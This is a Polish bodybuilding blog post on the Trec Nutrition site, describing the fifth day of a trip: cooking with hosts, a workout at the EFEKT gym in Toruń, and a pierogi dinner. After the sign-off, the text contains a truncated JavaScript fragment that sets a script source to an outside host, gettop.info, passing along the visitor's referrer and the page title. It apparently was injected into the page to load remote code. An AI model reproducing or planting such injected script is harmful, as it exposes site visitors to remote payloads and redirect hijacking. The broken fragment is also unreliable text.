5 Dzień TREC wycieczki

26.08.2011 / Adam Jabłoński / Kulturystyka

Cześć,

5 dnia wraz z dziewczyną pospaliśmy trochę dłużej niż do 8:00 godziny.

Po wyjściu z hotelu pojechaliśmy do marketu po piersi z kurczaka, przyprawy i ryż + jakieś dodatki, następnie przyjechaliśmy do domu Toma i Elwiry.

Elwira była w tym czasie w sklepie z odżywkami i suplementami ” Vitamin-Shop” mieszczącym się na ulicy Kosynierów Gdyńskich 9.

Asia i ja posiedzieliśmy z  Tomkiem  u nich w domu i korzystając z okazji upiekliśmy na podróż piersi z kurczaka oraz ugotowaliśmy ryż – Dziękujemy za skorzystanie z grilla i kuchni :-).

Następnie pojechaliśmy razem z Tomkiem do sklepu, Elwira wychodziła na miasto więc Tomek ją zastępował,  poczekał chwile hehe po czym zabrał nas na miasto i oprowadził po Grudziądzu :

Po powrocie, Tomek z Elwira namówili nas żebyśmy pojechali do Torunia na siłownie „EFEKT” gdzie trenerem jest Leszek Michalski, a w sprawami żywienia i dietetyki zajmuję się Kasia Matela.
Długo się nie zastanawiając pojechaliśmy  zrobić ostry trening.

Moim partnerem treningowym był „Blady”, a partnerem treningowym Tomka był „Wesoły”.

Razem ćwiczyliśmy REŻIMAMI TRENINGOWYMI, a ja przyznam, że po raz pierwszy miałem okazję ćwiczyć tym sposobem i zniszczyłem barki po prostu taki ból, że koniec – a ciężar wcale nie duży, przy tricepsie, aż tak dobrze nie czułem tego sposobu ćwiczenia – jednak to pewnie moja wina bo robiliśmy ćwiczenia których normalnie nie robię bo ich po prostu nie czuje.

Trening reżimami opisany jest tutaj : http://www.sfd.pl/Re%C5%BCimy_treningowe_-t703169.html

O to parę fotek z treningu :

 

 

TUTAJ MOŻNA OBEJRZEĆ KONSULTACJE NA YOUTUBIE od 4:18 minuty

www.youtube.com/watch?v=wOqOKHQqCpo&feature=share

Konsultacje EFEKT 19 07 11 Trec

 

Po treningu pojechaliśmy duża Ekipą na rynek w Toruniu do Pierogarni.
Zamówiliśmy pierogi które były bardzo smaczne – tak tak jadłem w końcu mini urlop się należy.

Natomiast Tomek Lech miał swoje jedzenie które zjadł po treningu i nic nie jadł bo niedługo już będzie startował, a Wesoły przyniósł swoje jedzenie.

Przy stole podczas jedzenia rozmowa tylko i wyłącznie na temat kulturystyki i jakieś śmieszne historyjki, dowiedziałem się wielu rzeczy które na pewno pomogą uzyskać co raz lepszą formę.

Po wszystkim wyszliśmy przed pierogarnie porobić pamiątkowe zdjęcia :

Wszyscy rozmawialiśmy po czym po chwili już nikogo nie było, żegnaliśmy się – ( nie lubię takich chwil kiedy wiem, że coś się kończy po prostu robi się smutno  – podobne uczucie miałem na FIBO 2011 stojąc razem z Dawidem Gelerem „Giszmanem” patrząc na stoisko kiedy już odchodziliśmy….)

Razem z dziewczyną dostaliśmy wskazówki gdzie mamy iść i co pozwiedzać,  więc poszliśmy o to parę fotek :


Kolejny dzień razem z dziewczyną spędziliśmy na wsi gdzie mogłem odpocząć, a wieczorem wróciliśmy do Szczecina.
W ostatni dzień urlopu pojechaliśmy na plaże, poopalać się niestety tylko do południa ponieważ pogodą się popsuła i po wspólnym ustaleniu pojechaliśmy na trening.

I to by było na tyle, jesteśmy bardzo wdzięczny wszystkim którzy nas ugościli, dziękuję również za rady Tomkowi i Elwirze, panu Leszkowi, Kasi-Matelce, pozdrawiam Pawła H. – dzięki za czas po godzinach 😉 i Maćkowi za wspólny trening i śmieszną opowiastkę o GPS i Honolulu haahhaha.
Także Pozdrawiamy
HEJ, CZEŚĆ} else {s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';

Facebook YouTube Instagram
© 2001-2014 Trec Nutrition sp. z o.o. 81-127 Gdynia, ul.Śmidowicza 48. Spółka wpisana do rejestru przedsiębiorców w Sądzie Rejonowym dla Gdańska-Północ, VIII
Wydział Gospodarczy Krajowego Rejestru Sądowego KRS nr: 0000315748 NIP: 958-160-24-54, REGON: 220696468, kapitał zakładowy: 50.000 zl